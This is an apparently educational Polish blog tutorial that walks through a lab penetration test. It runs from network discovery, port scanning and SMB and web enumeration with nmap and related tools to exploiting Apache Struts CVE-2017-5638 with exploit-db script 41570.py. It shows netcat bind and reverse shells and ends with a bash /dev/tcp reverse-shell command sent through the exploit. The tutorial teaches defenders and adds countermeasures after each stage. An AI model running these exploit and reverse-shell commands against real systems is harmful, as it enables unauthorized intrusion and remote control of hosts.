-15% na nową książkę sekuraka: Wprowadzenie do bezpieczeństwa IT. Przy zamówieniu podaj kod: 10000

nmap w akcji – przykładowy test bezpieczeństwa

27 kwietnia 2017, 19:12 | Teksty | komentarzy 29

Z​ ​tekstu​ ​dowiesz​ ​się​ ​w​ ​jaki​ ​sposób:

  • identyfikować​ ​hosty​ ​w​ ​sieci
  • wykonywać​ ​skanowanie​ ​portów
  • korzystać ze​ ​skryptów​ ​NSE​ ​pakietu​ ​NMAP
  • identyfikować podatności
  • wykorzystać​ ​podatność​ ​CVE-2017-5638

„Jeśli​ ​znasz​ ​siebie​ ​i​ ​swego​ ​wroga,​ ​przetrwasz​ ​pomyślnie​ ​sto​ ​bitew.​ ​Jeśli​ ​nie​ ​poznasz​ ​swego​ ​wroga,​ ​lecz poznasz​ ​siebie,​ ​jedną​ ​bitwę​ ​wygrasz,​ ​a​ ​drugą​ ​przegrasz.​ ​Jeśli​ ​nie​ ​znasz​ ​ni​ ​siebie,​ ​ni​ ​wroga,​ ​każda potyczka​ ​będzie​ ​dla​ ​Ciebie​ ​zagrożeniem.”

Sun Tzu

Słowa​ ​Sun​ ​Tzu​ ​pozostają​ ​uniwersalne​ ​po​ ​dziś​ ​dzień​ ​i​ ​można​ ​odnieść​ ​je​ ​do​ ​rywalizacji,​ ​którą​ ​toczą organizacje​ ​z​ ​cyberprzestępcami.​ ​Zmieniło​ ​się​ ​jedynie​ ​miejsce​ ​tej​ ​rywalizacji​ ​-​ ​na​ ​cyberprzestrzeń. Testy​ ​penetracyjne​ ​są​ ​jednym​ ​ze​ ​sposobów,​ ​aby​ ​zrozumieć​ ​działania​ ​cyberprzestępców.​ ​W​ ​niniejszym artykule​ ​postaram​ ​się​ ​przybliżyć​ ​jak​ ​wygląda​ ​test​ ​penetracyjny,​ ​który​ ​jest​ ​symulacją​ ​działań cyberprzestępców.​ ​Lepsze​ ​zrozumienie​ ​testu​ ​penetracyjnego,​ ​jak​ ​zdobywany​ ​jest​ ​dostęp​ ​do​ ​systemu​ ​i danych​ ​jest​ ​istotną​ ​informacją.​ ​Wcielenie​ ​się​ ​w​ ​tok​ ​rozumowania​ ​i​ ​zrozumienie​ ​sposobu​ ​działania cyberprzestępców​ ​pozwoli​ ​nam​ ​się​ ​lepiej​ ​bronić​ ​i​ ​zabezpieczać.​ ​W​ ​końcu​ ​informacja​ ​jest​ ​kluczem, który​ ​otwiera​ ​każde​ ​drzwi.

Początek

Dla uproszczenia załóżmy, że znajdujemy się tej samej sieci. Najpierw powinniśmy zidentyfikować potencjalne cele – czyli urządzenia podłączone do sieci, w której się znajdujemy. Ciekawym sposobem na zrealizowanie tego zadania jest wykorzystanie programu netdiscover, który wysyła pakiety ARP i nasłuchuje odpowiedzi.

~#​​ ​netdiscover​ ​-r​ ​192.168.0.0/24

W podanym przykładzie, za pomocą parametru r podajemy skanowany zakres. W tym przypadku jest to podsieć 192.168.0.0/24. W celu zapoznania pozostałych opcji narzędzia netdiscover zachęcam do odwiedzenia stron man.

Rozpoczynając skanowanie należy uwzględnić wolumen generowanego ruchu sieciowego, najłatwiej poprzez obliczenie ruchu generowanego dla pojedynczego hosta i przemnożenie go przez interesujący nas zakres.

W celu identyfikacji podłączonych urządzeń wykorzystać można również technikę zwaną ping sweep. Ping sweep polega na wysyłaniu pakietów ICMP w celu identyfikacji aktywnych hostów. Jednakże, urządzenia, które filtrują albo odrzucają pakiety ICMP, nie będą oznaczone jako aktywne. Aby wykonać ping sweep wykorzystamy narzędzie nmap.

~#​​ ​nmap​ ​-sn​ ​192.168.0.0/24

Parametr sn oznacza ping scan dla podsieci 192.168.0.0/24. Cel skanowania można w tym przypadku podać również jako podsieć, listę hostów, listę nazw hostów lub pojedyncze adresy IP.

Ping sweep można również wykonać wykorzystując domyślne systemowe narzędzie ping. Z użyciem języka skryptowego (tj. perl, python, itp.) można zautomatyzować wykonanie ping sweep. Istniejące ograniczenie pakietu ICMP nie pozwala uzyskać technice ping sweep rzetelnych wyników. Warto w związku z tym poświęcić trochę więcej czasu na zbadanie urządzeń podłączonych do sieci. Możemy przeskanować sieć pod kątem 10 najczęściej wykorzystanych serwisów. Tą czynność możemy określić mianem network sweepingu.

~#​​ ​nmap​ ​--top-ports=10​ ​192.168.0.0/24

Parametr top-ports określa liczbę najczęściej używanych portów. W dalszej kolejności podajemy zakres naszego skanowania. Przykładowy wynik wykonania tej komendy daje nam informacje o statusie najczęściej używanych portów w sieci 192.168.0.0/24.

Ćwiczenia dodatkowe

  1. Stworzyć​ ​skrypt​ ​(bash,​ ​perl​ ​lub​ ​python)​ ​pobierający​ ​zakres​ ​adresów​ ​IP​ ​(parametr​ ​wejściowy)​ ​i wykonującego​ ​​ping​ ​sweep​​ ​dla​ ​danego​ ​zakresu​ ​adresów​ ​IP.
  2. Przyjrzeć​ ​się​ ​protokołom​ ​ARP​ ​i​ ​ICMP,​ ​jak​ ​również​ ​korzystając​ ​z​ ​​Wireshark​/​tcpdump przeanalizować​ ​generowany​ ​ruch.

Uzyskane informacje

Uzyskaliśmy adresy IP występujące w podsieci 192.168.0.0/24, jak również powiązane z nimi adresy MAC. Adresy MAC mogą posłużyć do określenia jaki typ urządzenia znajduje się w danej podsieci. W powyższych przykładach adresy MAC pokazują na takich producentów jak Cisco, SONY, Xiaomi, czy Oracle. Patrząc na adresy IP i informacje z adresu MAC można założyć, że urządzenie 192.168.0.1 to jakieś urządzenie sieciowe Cisco, a urządzenie 192.168.0.16 jest przypuszczalnie maszyną wirtualną opartą na technologii Oracle VirtualBox.

Przeciwdziałania

Zgodnie z podejściem Cyber Kill Chain powinniśmy starać się zminimalizować zagrożenie już na samym początku. Cyberk Kill Chain głosi, że uniemożliwienie wykonania danej fazy ataku, może zatrzymać albo przynajmniej utrudnić wykonanie ataku. Kontrolą w tej fazie może być wykrywanie i separacja nieautoryzowanych urządzeń z sieci. Warto tutaj wspomnieć również o TOP 20 CIS Controls for Effective Cyber Defense, w którym kontrola „Inventory of Authorized and Unauthorized Devices” znajduje się na pierwszym miejscu.

Skanowanie – port scanning

Zlokalizowaliśmy już urządzenia podłączone w sieci. Przyjmijmy, że naszym celem jest urządzenie, które korzysta z adresu 192.168.0.16. Następny krok to zdobycie więcej informacji o urządzeniu 192.168.0.16. W tym celu dokonujemy skanowania tego urządzenia i chcemy sprawdzić, które porty są otwarte. Poznamy w ten sposób możliwe punkty wejścia do systemu informatycznego, które możemy porównać do drzwi i okien w twierdzy. W tym celu skorzystamy z narzędzia unicornscan, który jest efektywnym narzędziem do wysyłania pakietów TCP/UDP.

Najpierw​ ​dokonujemy​ ​skanowania​ ​otwartych​ ​portów​ ​TCP.

~#​​ ​us​ ​-mT​ ​-r​ ​3000​ ​-R​ ​3​ ​-Iv​ ​-p​ ​1-65535​ ​192.168.0.16

Parametr mT określa typ skanowania na skan TCP, parametr r określa liczbę pakietów na sekundę, parametr R liczbę powtórzeń, natomiast parametrem p określamy zakres portów do przeskanowania. Parametr Iv określa, aby wyświetlać informacje natychmiast z dodatkowymi opisami.

Analogicznie dokonujemy skanowania otwartych portów UDP, gdzie jedyną różnicą w poleceniu jest zmiana typu skanowania z mT na mU (czyli skanowanie UDP).

~#​​ ​us​ ​-mU​ ​-r​ ​3000​ ​-R​ ​3​ ​-Iv​ ​-p​ ​1-65535​ ​192.168.0.16

Wiemy​ ​też​ ​jakie​ ​porty​ ​są​ ​otwarte,​ ​teraz​ ​powinniśmy​ ​zacząć​ ​zbierać​ ​więcej​ ​informacji​ ​na​ ​temat systemu​ ​i​ ​postarać​ ​się​ ​odpowiedzieć​ ​na​ ​pytanie:​ ​Co​ ​działa​ ​na​ ​tych​ ​portach?​ ​W​ ​tym​ ​przypadku, ponownie​ ​z​ ​pomocą​ ​przychodzi​ ​nam​ ​narzędzie​ ​​nmap​,​ ​które​ ​umożliwi​ ​realizację takich​ ​technik​ ​jak​ ​​OS fingerprinting​​ ​czy​ ​​banner​ ​grabbing​. ​​OS​ ​fingerprinting​​ ​można​ ​określić​ ​jako​ ​zdalne​ ​rozpoznanie​ ​wersji systemu​ ​operacyjnego​ ​urządzenia​ ​podłączonego​ ​do​ ​sieci.​ ​Najczęściej​ ​wykorzystywana​ ​jest​ ​do​ ​tego analiza​ ​ruchu​ ​sieciowego​ ​generowanego​ ​przez​ ​dane​ ​urządzenie​ ​podłączone​ ​do​ ​sieci,​ ​a​ ​dokładniej sposób​ ​i​ ​forma​ ​tego​ ​ruchu.​ ​​Banner​ ​grabbing​​ ​umożliwi​ ​zebranie​ ​informacji​ ​na​ ​temat​ ​serwisów uruchomionych​ ​na​ ​otwartych​ ​portach.

~#​​ ​nmap​ ​-Pn​ ​-sV​ ​-O​ ​192.168.0.16

W podanym przykładzie parametr O umożliwia oszacowanie systemu operacyjnego, natomiast parametr sV zbiera informacje przekazane przez serwisy działające na otwartych portach (informacje o wersji serwisu). Parametr Pn informuje nmap, aby traktować wszystkie cele jako dostępne. Ograniczeniem tego polecenia jest fakt, że nmap domyślnie skanuje 1000 najpopularniejszych portów i skupia się na połączeniach TCP.

W związku z tym aby przeskanować pełen zakres portów tzn. od portu 1 do 65535 potrzebujemy dodać parametr -p-, który wskazuje nmap, aby dokonać skanowania wszystkich portów TCP.

~#​​ ​nmap​ ​-Pn​ ​-sV​ -p- ​-O​ ​192.168.0.16

Teraz pozostaje również wziąć pod uwagę porty UDP. W związku z tym dodajemy parametr sU, wskazujący typ skanowania na UDP.

~#​​ ​nmap​ ​-Pn​ ​-sU​ ​-sV​ ​-O​ ​192.168.0.16
W związku z tym, że skanowanie UDP z wykorzystaniem nmap zajmuje trochę, ograniczamy się jedynie do 1000 najpopularniejszych portów. W celu przeskanowania wszystkich portów analogicznie jak przy wariancie TCP należałoby dodać parametr -p-.

Ciekawym parametrem narzędzia nmap jest parametr A, który umożliwia wykrycie wersji systemu operacyjnego, wersji serwisów (opcja sV) oraz uruchamia pasujące skrypty i polecenie traceroute do wskazanego celu.

~#​​ ​nmap​ ​-Pn​ ​-p-​ ​-A​ ​192.168.0.16

Ćwiczenia dodatkowe

  1. Wykorzystać do skanowania podstawowe narzędzia jak: nc, netcat,
    sbd, telnet
  2. Zapoznać​ ​się​ ​z​ ​możliwościami​ ​portalu​ ​​https://www.shodan.io/​.

Uzyskane informacje

Na tym etapie uzyskaliśmy następujące informacje:

  • Nazwa​ ​urządzenia:​ ​​secubuntu
  • System operacyjny: Linux, Ubuntu
  • Wersje serwisów:
    • OpenSSH​ ​6.6.1p1​ ​Ubuntu​ ​2ubuntu2.7​ ​(Ubuntu​ ​Linux;​ ​protocol​ ​2.0)
    • Apache​ ​httpd​ ​2.4.7​ ​((Ubuntu))
    • Samba​ ​smbd​ ​4.3.9-Ubuntu​ ​(workgroup:​ ​WORKGROUP)
    • Apache​ ​Tomcat/Coyote​ ​JSP​ ​engine​ ​1.1

Dzięki tym informacjom możemy oszacować jaka jest to wersja system operacyjnego (mając powyższe informacje). Na podstawie wersji pakietów OpenSSH 6.6.1p1 można zweryfikować, że domyślnie dostarczany był w ramach systemu Ubuntu 14.04.

Przeciwdziałania

W tej sekcji dowiedzieliśmy się, że dzięki samemu skanowaniu możemy uzyskać wiele informacji. W związku z tym uzasadnione jest, aby ograniczyć liczbę otwartych portów do tych wymaganych. Zmniejszymy tym liczbę możliwych punktów wejścia, możliwości zdobycia informacji o systemie informatycznym, jak również liczbę podatności, którym urządzenie może podlegać.

Serwisy​ ​–​ ​Service​ ​Enumeration

W tej części wciąż będziemy starać się zdobyć więcej informacji o systemie, a w szczególności o serwisach do których mamy dostęp przez otwarte porty (udostępniających swoje usługi). Przyjrzyjmy się więc bliżej działającym serwisom. Nmap zawiera bardzo przydatny, umożliwiający wykorzystanie skryptów moduł zwany NSE (ang. Nmap Scripting Engine). NSE daje również możliwość wykrywania podatności. Spróbujemy wykorzystać to do zdobycia większej ilości informacji o serwisach. Będziemy również wspierali się innymi narzędziami.

Serwis SAMBA

Przyjrzyjmy się najpierw serwisowi, który umożliwia współdzielenie plików oraz drukarek. Serwer 192.168.0.19 ma serwis SMB (samba) na portach TCP 139 i 445. Skrypty NSE przechowywane są w katalogu /usr/share/nmap/scripts (domyślna lokalizacja dla dystrybucji linux kali-2.0). Przyjrzyjmy się skryptom smb.

~#​​ ​ls​ ​/usr/share/nmap/scripts/​ ​|​ ​grep​ ​smb


Zacznijmy od skrypt smb-enum-users, który stara się znaleźć informacje o użytkownikach serwisu. W celu skorzystania ze skryptu podajemy parametr –script oraz nazwę skryptu (domyślnie nmap szuka skryptów w katalogu /usr/share/nmap/scripts). Warto zapoznać się z dodatkowymi informacjami dotyczącymi skryptów oraz z jakimi parametrami mogą być uruchamiane (można to zrobić otwierając skrypt w edytorze tekstowym).

~#​​ ​nmap​ ​-sV​ ​-p​ ​139,445​ ​--script=smb-enum-users.nse​ ​192.168.0.16


Teraz postarajmy się dowiedzieć trochę więcej na temat systemu operacyjnego. W tym celu skorzystamy ze skryptu smb-os-discovery.

~#​​ ​nmap​ ​-sV​ ​-p​ ​139,445​ ​--script=smb-os-discovery​ ​192.168.0.16

W celu zautomatyzowanej iteracji serwisu SAMBA, możemy wykorzystać również dedykowane narzędzia. Tutaj dobrym przykładem jest narzędzie enum4linux. Uruchomione z opcją v pokazuje jakie polecenia zostały użyte w celu zdobycia danych informacji. Można wykorzystać to do własnych ćwiczeń i pogłębienia wiedzy.

~#​​ ​enum4linux​ ​-v​ ​192.168.0.16

Zwróćmy​ ​uwagę,​ ​że​ ​serwis​ ​SAMBA​ ​umożliwia​ ​korzystanie​ ​z​ ​”pustego”​ ​loginu​ ​i​ ​hasła.​ ​Jest​ ​to​ ​tzw.​ ​​null session​.​ ​Warto​ ​również​ ​przyjrzeć​ ​się​ ​sekcji​ ​user.

Serwisy HTTP

Przeanalizujmy teraz pozostałe otwarte porty i usługi działające na nich. Sprawdźmy je jednocześnie, ponieważ pod pozostałymi otwartymi portami, kryją się serwisy webowe. Jest to dobra forma porównania podejścia, jak również uzyskanych informacji. Na początek korzystając z przeglądarki webowej, możemy przyjrzeć się udostępnianym serwisom oraz przejrzeć źródło stron www. Powinniśmy wykorzystać zdobytą do tej pory wiedzy na temat skryptów NSE do nmap i sprawdzić jakie informacje jesteśmy w stanie uzyskać.

~#​​ ​nmap​ ​-sV​ ​-p​ ​80,8080​ ​--script=http-headers​ ​192.168.0.16

Od razu możemy zauważyć, że na porcie 80 dostępna jest domyślna strona Apache. O wiele ciekawiej wygląda serwis na porcie 8080. Przyjrzyjmy się bliżej stronie serwowanej na porcie 8080. W tym celu wykorzystajmy narzędzie curl do transferu danych.

~#​​ ​curl​ ​-i​ ​http://192.168.0.16:8080/

Dzięki temu uzyskujemy ciekawe informacje o nagłówku HTTP wysłanym przez serwer w odpowiedzi oraz nagłówku strony www. Zauważmy, że strona www jest dostępna dzięki aplikacji opartej na Apache Struts2. To daje nam informacje jaka potencjalna webaplikacja uruchomiona jest na serwisie webowym.

Upewnijmy się, że poza tym co do tej pory znaleźliśmy nie ma innych webaplikacji. W tym celu skorzystamy z narzędzi dirb i gobuster. Są to skanery webowe, które na podstawie zadanej zdefiniowanej listy słownikowej badają odpowiedzi serwera www i ustalają czy dana strona istnieje (jaki kod HTTP zwraca). Zdefiniowana lista słownikowa zawiera najczęściej występujące nazwy stron np. robots.txt.

Zacznijmy​ ​od​ ​narzędzia​ ​​dirb​.

~#​​ ​dirb​ ​http://192.168.0.16

~#​​ ​dirb​ ​http://192.168.0.16:8080

Skorzystajmy teraz z narzędzia gobuster. Parametr u oznacza adres URL, parametr w – zdefiniowaną listę słownikową, parametr s – kody statusów zapytań HTTP/S, a parametr e oznacza rozszerzony tryb, wyświetlający całe adresy URL.

~#​​ ​gobuster​ ​-u​ ​http://192.168.0.16/​ ​-w​ ​/usr/share/seclists/Discovery/Web_Content/common.txt -s​ ​'200,204,301,302,307,403,500'​ ​-e

~#​​ ​gobuster​ ​-u​ ​http://192.168.0.16:8080/​ ​-w /usr/share/seclists/Discovery/Web_Content/tomcat.txt​ ​-s​ ​'200,204,301,302,307,403,500'​ ​-e

Na podstawie powyższych uzyskujemy, że pod adresem http://192.168.0.16:8080/manager znajduje się Tomcat Manager i wita nas ekranem logowania.

Na​ ​koniec​ ​zostawiamy​ ​sobie​ ​kompleksowy​ ​audyt​ ​serwisu​ ​webowego​ ​narzędziem​ ​​nikto​.

~#​​ ​nikto​ ​-host​ ​192.168.0.16

Ćwiczenia​ ​dodatkowe

  • Zapoznać​ ​się​ ​z​ ​poleceniami​ ​wykonywanymi​ ​przez​ ​narzędzie​ ​​enum4linux​.​ ​Samodzielne uruchomić​ ​te​ ​polecenia.
  • Zapoznać​ ​się​ ​z​ ​poleceniem​ ​​curl​​ ​oraz​ ​co​ ​można​ ​zrobić​ ​z​ ​otrzymywanymi​ ​rezultatami​ ​(hint: linux​ ​piping/redirection).

Uzyskane informacje

W​ ​tym​ ​etapie​ ​uzyskaliśmy​ ​następujące​ ​informacje​ ​dzięki​ ​iteracji​ ​serwisu​ ​SAMBA:

  • Nazwa​ ​użytkownika:​ ​​test
  • Minimalna​ ​długość​ ​hasła: 5

Zdobyliśmy​ ​również​ ​informacje​ ​o​ ​systemie​ ​oraz​ ​współdzielonych​ ​katalogach.​ ​Zebrane​ ​informacje​ ​w połączeniu​ ​z​ ​innymi​ ​mogą​ ​być​ ​przydatne.​ ​Powinniśmy​ ​zadać​ ​sobie​ ​pytanie:​ ​Do​ ​czego​ ​możemy wykorzystać​ ​tą​ ​informację?​ ​Mamy​ ​login,​ ​minimalną​ ​długość​ ​hasła​ ​oraz​ ​serwis​ ​SSH​ ​(umożliwiający logowanie),​ ​od​ ​razu​ ​przychodzi​ ​nam​ ​na​ ​myśl​ ​próba​ ​złamania​ ​hasła​ ​i​ ​w​ ​ten​ ​sposób​ ​uzyskanie​ ​dostępu użytkownika​ ​test.​ ​Dopiszmy​ ​to​ ​do​ ​listy​ ​potencjalnych​ ​kolejnych​ ​akcji​ ​(jako​ ​ewentualność). Z​ ​serwisów​ ​webowych​ ​uzyskaliśmy​ ​informacje​ ​na​ ​temat​ ​potencjalnej​ ​webaplikacji​ ​opartej​ ​na​ ​Apache Struts2​ ​oraz​ ​dostępny​ ​panel​ ​logowania​ ​do​ ​Tomcat​ ​Managera.​ ​Panel​ ​logowania​ ​do​ ​Tomcat​ ​Managera można​ ​poddać​ ​próbie​ ​złamania​ ​hasła,​ ​jednak​ ​jak​ ​poprzednio​ ​przy​ ​serwisie​ ​SAMBA​ ​dodajmy​ ​to​ ​do listy​ ​potencjalnych​ ​kolejnych​ ​akcji.​ ​Naszą​ ​ciekawość​ ​powinna​ ​wzbudzić​ ​dostępna​ ​webaplikacja,​ ​w której​ ​możemy​ ​szukać​ ​podatności​ ​albo​ ​podatności​ ​w​ ​silniku​ ​tej​ ​webaplikacji.

Przeciwdziałania

W tej fazie bazujemy na informacjach uzyskanych z uruchomionych serwisów, w to jaki sposób się przedstawiają (dzięki technice tzw. banner grabbing) i jakie informacje wysyłają użytkownikowi swoich usług. Możemy zminimalizować zagrożenie poprzez skonfigurowanie serwisów w taki sposób, że nie będą udostępniały nadmiarowej informacji (np. poprzez wyłączenie banera wysyłanego przez usługę, czy wyłączenie null session w SAMBA). Jest to częścią kontroli określanej jako „Secure Configuration”.

Follow the white rabbit

Konkluzją​ ​poprzedniego​ ​etapu​ ​było​ ​szukanie​ ​podatności.​ ​W​ ​tym​ ​przypadku​ ​również​ ​z​ ​pomocą​ ​mogą przyjść​ ​możliwości​ ​skryptów​ ​NSE​ ​narzędzia​ ​​nmap​.​ ​Przykładem​ ​może​ ​być​ ​taki​ ​projekt​ ​wzbogacający skrypty​ ​NSE:​ ​​http://www.computec.ch/projekte/vulscan/

Instalacja​ ​polega​ ​na​ ​skopiowaniu​ ​katalogu​ ​​vulscan​​ ​do​ ​katalogu​ ​ze​ ​skryptami​ ​​nmap​,​ ​czyli /usr/share/nmap/scripts.​ ​Następnie​ ​korzystamy​ ​z​ ​nmap​ ​do​ ​uruchomienia​ ​tych​ ​skryptów​ ​podając​ ​ich nazwę​ ​jako​ ​zmienną​ ​do​ ​parametru​ ​​script​.

~#​​ ​nmap​ ​–sS​ ​–sV​ ​–script=vulscan​ ​192.168.0.16

Wykryte wersje serwisów posłużyły do porównania z informacjami zawartymi w bazach z podatnościami dostępnymi w ramach tego projektu.

Na​ ​tym​ ​etapie​ ​możemy​ ​zebrać​ ​zdobyte​ ​informacje​ ​i​ ​spróbować​ ​dowiedzieć​ ​się​ ​więcej​ ​o​ ​potencjalnych podatnościach. W​ ​tym​ ​celu​ ​wykorzystamy​ ​następujące​ ​portale​ ​o​ ​powszechnie​ ​znanych​ ​podatnościach​ ​i​ ​zagrożeniach:

Skorzystajmy​ ​z​ ​przykładu,​ ​w​ ​którym​ ​zidentyfikowaliśmy​ ​webaplikację​ ​Apache​ ​Struts​ ​2. Przejdźmy​ ​na​ ​stronę​ ​cvedetails.com​ ​i​ ​wyszukajmy​ ​Apache​ ​Struts​ ​2.

Otrzymaliśmy listę CVE (ang. Common Vulnerabilities and Exposures) dla wersji Apache Struts 2. Warto przyjrzeć się tym z największym wynikiem CVSS, jak również informacji o dostępie który dają. Tym sposobem uzyskaliśmy informację o CVE-2017-5638, o którym na pewno warto dowiedzieć się więcej. Szukając więcej informacji na temat tej podatności, można znaleźć skrypt nmap sprawdzający czy dana webaplikacja jest podatna.

Skrypt​ ​dostępny​ ​jest​ ​na​ ​stronie​ ​nmap: https://nmap.org/nsedoc/scripts/http-vuln-cve2017-5638.html

Pobieramy​ ​skrypt​ ​i​ ​sprawdzamy,​ ​czy​ ​webaplikacja​ ​jest​ ​podatna.

~#​​ ​nmap​ ​-sV​ ​-p​ ​8080​ ​--script=/root/Downloads/http-vuln-cve2017-5638.nse​ ​192.168.0.16

Wynik potwierdza nasze przypuszczenia, webaplikacja jest podatna. Teraz pozostaje nam znalezienie sposobu wykorzystania tej podatności. W tym celu możemy skorzystać z baz zawierających źródła publicznie znanych exploitów. Takimi bazami są np.:

W ramach dystrybucji Kali Linux jest również lokalna kopia bazy exploit-db i znajduje się ona w katalogu /usr/share/exploitdb. Skorzystajmy z narzędzia searchsploit, które umożliwia przeszukanie lokalnej bazy exploit-db. Podajemy parametr t, który oznacza wyszukiwanie ciągu znaków w tytule (w tym przypadku ciąg znaków to struts 2.*).

~#​​ ​searchsploit​ ​-t​ ​struts​ ​2.*

Otrzymujemy​ ​wyniki​ ​odpowiadające​ ​naszym​ ​parametrom​ ​wyszukiwania.​ ​Exploit​ ​do​ ​znalezionej podatności​ ​to​:

Apache​ ​Struts​ ​2.3.5​ ​<​ ​2.3.31​ ​/​ ​2.5​ ​<​ ​2.5.10​ ​-​ ​Remote​ ​Code​ ​Execution​ ​|​ ​​ ​linux/webapps/41570.py

Zanim uruchomimy jakikolwiek znaleziony exploit należy się zapoznać z jego kodem oraz sposobem działania. Upewnimy się, czy exploit działa jak oczekujemy i nie jest to „fałszywy” kod (np. który uszkodzi nasz komputer). Dodatkowo, część exploitów nie będzie działała bez kilku dodatkowych modyfikacji.

Po przeanalizowaniu kodu exploita przygotowujemy się do jego uruchomienia. W naszym przykładzie kod napisany jest w języku python, oraz wymaga parametrów url (który jest adresem naszej aplikacji opartej o framework Apache Struts) oraz cmd (polecenia, które ma być wykonane).

~#​​ ​python​ ​/usr/share/exploitdb/platforms/linux/webapps/41570.py http://192.168.0.16:8080/index.action​ ​ifconfig

Po​ ​uruchomieniu​ ​kodu​ ​otrzymujemy​ ​wynik​ ​polecenia​ ​​ifconfig​​ ​na​ ​maszynie​ ​192.168.0.16​ ​(w​ ​końcu​ ​jest to​ ​podatność​ ​typu​ ​RCE​ ​–​ ​​Remote​ ​Code​ ​Execution​).

Dowiedzmy​ ​się​ ​czegoś​ ​więcej​ ​o​ ​maszynie​ ​192.168.0.16​ ​i​ ​skorzystajmy​ ​z​ ​możliwości​ ​wykonywania zdalnie​ ​poleceń.

~#​​ ​python​ ​/usr/share/exploitdb/platforms/linux/webapps/41570.py http://192.168.0.16:8080/index.action​ ​"whoami;​ ​uname​ ​-a;​ ​hostname"

Jako​ ​wynik​ ​otrzymujemy​ ​dodatkowe​ ​informacje,​ ​np.​ ​polecenia​ ​uruchamiamy​ ​jako​ ​użytkownik tomcat7,​ ​znamy​ ​wersję​ ​jądra​ ​systemu​ ​operacyjnego​ ​(4.4.0)​ ​oraz​ ​sprawdziliśmy​ ​nazwę​ ​hosta.

Pozostaje​ ​nam​ ​odpowiedzieć​ ​na​ ​pytanie:​ ​Jak​ ​uzyskać​ ​dostęp​ ​do​ ​systemu?

W​ ​tym​ ​miejscu​ ​pora​ ​przedstawić​ ​koncept​ ​​bind​ ​shell​​ ​i​ ​​reverse​ ​shell​.

Bind​ ​shell​​ ​jest​ ​wykorzystywane​ ​do​ ​”związania”​ ​wiersza​ ​poleceń​ ​(ang.​ ​​shell​)​ ​do​ ​portu​ ​TCP,​ ​na​ ​którym nasłuchujemy.​ ​Połączenie​ ​do​ ​tego​ ​portu​ ​TCP​ ​udostępni​ ​wiersz​ ​poleceń​ ​do​ ​systemu.

W​ ​celu​ ​lepszego​ ​zobrazowania​ ​użyjmy​ ​takiego​ ​scenariusza:​ ​Alicja​ ​chce,​ ​aby​ ​Bob​ ​pomógł​ ​jej​ ​w konfiguracji​ ​jej​ ​komputera.​ ​W​ ​związku​ ​z​ ​tym​ ​Alicja​ ​na​ ​swoim​ ​komputerze​ ​uruchamia​ ​program,​ ​który nasłuchuje​ ​na​ ​porcie​ ​4444​ ​i​ ​wiąże​ ​się​ ​z​ ​wierszem​ ​poleceń​ ​​cmd.exe​.​ ​Bob​ ​łączy​ ​się​ ​z​ ​komputerem​ ​Alicji na​ ​porcie​ ​4444​ ​i​ ​dostaje​ ​wiersz​ ​poleceń​ ​​cmd.exe​ ​​komputera​ ​Alicji.

Realizacja​ ​powyższego​ ​scenariusza​ ​z​ ​wykorzystaniem​ ​narzędzia​ ​​netcat​.​ ​Parametr​ ​​n​​ ​narzędzia​ ​​netcat oznacza​ ​używanie​ ​numerycznych​ ​adresów​ ​IP​ ​(bez​ ​korzystania​ ​z​ ​DNS),​ ​parametr​ ​​l​ ​ustawia​ ​tryb nasłuchiwania,​ ​parametr​ ​​p​​ ​określa​ ​port,​ ​na​ ​który​ ​nasłuchujemy.​ ​Natomiast​ ​parametr​ ​​v​​ ​określa,​ ​że netcat​ ​będzie​ ​wyświetlał​ ​więcej​ ​informacji​ ​podczas​ ​działania.

Przyjmijmy, że:

  • 192.168.0.10​ ​–​ ​adres​ ​IP​ ​komputera​ ​Alicji
  • 192.168.0.20​ ​–​ ​adres​ ​IP​ ​komputera​ ​Boba
## Alicja
~#​​ ​nc.exe​ ​–nlvp​ ​4444​ ​–e​ ​cmd.exe
## Bob
~#​​ ​nc.exe​ ​–nv​ ​192.168.0.10​ ​4444

Reverse​ ​shell​​ ​jest​ ​wykorzystywane​ ​do​ ​przekazania​ ​wiersza​ ​poleceń​ ​i​ ​połączenia​ ​się​ ​na​ ​port​ ​TCP wskazanego​ ​adresu.​ ​Połączenie​ ​do​ ​portu​ ​TCP​ ​wskazanego​ ​adresu​ ​udostępni​ ​wiersz​ ​poleceń.

W​ ​celu​ ​lepszego​ ​zobrazowania​ ​użyjmy​ ​takiego​ ​scenariusza:​ ​Alicja​ ​chce,​ ​aby​ ​Bob​ ​pomógł​ ​jej​ ​w konfiguracji​ ​jej​ ​komputera.​ ​W​ ​związku​ ​z​ ​tym​ ​Bob​ ​na​ ​swoim​ ​komputerze​ ​uruchamia​ ​program,​ ​który nasłuchuje​ ​na​ ​porcie​ ​4444.​ ​Alicja​ ​​łączy​ ​się​ ​do​ ​komputera​ ​Boba​ ​i​ ​wiąże​ ​to​ ​połączenie​ ​z​ ​wierszem poleceń​ ​​cmd.exe​.​ ​Bob​ ​otrzymuje​ ​wiersz​ ​poleceń​ ​​cmd.exe​​ ​komputera​ ​Alicji.

Realizacja​ ​powyższego​ ​scenariusza​ ​z​ ​wykorzystaniem​ ​narzędzia​ ​​netcat​.

Przyjmijmy​ ​założenia​ ​jak​ ​w​ ​poprzednim​ ​przykładzie.

## Bob
~#​​ ​nc.exe​ ​–nlvp​ ​4444
## Alicja
~#​​ ​nc.exe​ ​–nv​ ​192.168.0.20​ ​4444​ ​–e​ ​cmd.exe

Wróćmy​ ​do​ ​naszego​ ​celu,​ ​którym​ ​jest​ ​host​ ​z​ ​podatnością​ ​CVE-2017-5638.​ ​W​ ​celu​ ​uzyskania​ ​dostępu do​ ​urządzenia​ ​192.168.0.16​ ​wykorzystamy​ ​koncept​ ​​reverse​ ​shell​.​ ​Najpierw​ ​zacznijmy​ ​nasłuchiwać​ ​na porcie​ ​4444.

~#​​ ​nc​ ​–nvlp​ ​4444

W​ ​drugim​ ​oknie​ ​terminala​ ​wykonajmy​ ​następujące​ ​polecenie​ ​​bash​ ​-i​ ​>& /dev/tcp/192.168.0.14/4444​ ​0>&1 ​,​ ​które​ ​tworzy​ ​połączenie​ ​do​ ​naszego​ ​urządzenia​ ​(czyli 192.168.0.14)​ ​na​ ​porcie​ ​4444​ ​i​ ​przekazuje​ ​wiersz​ ​poleceń​ ​​/bin/bash​.

~#​​ ​python​ ​/usr/share/exploitdb/platforms/linux/webapps/41570.py http://192.168.0.16:8080/index.action​ ​"bash​ ​-i​ ​>&​amp; ​/dev/tcp/192.168.0.14/4444​ ​0>&1"

Wynikiem​ ​wykonania​ ​tych​ ​poleceń​ ​jest​ ​dostęp​ ​do​ ​wiersza​ ​poleceń​ ​systemu​ ​192.168.0.16​ ​na uprawnieniach​ ​użytkownika​ ​tomcat7.

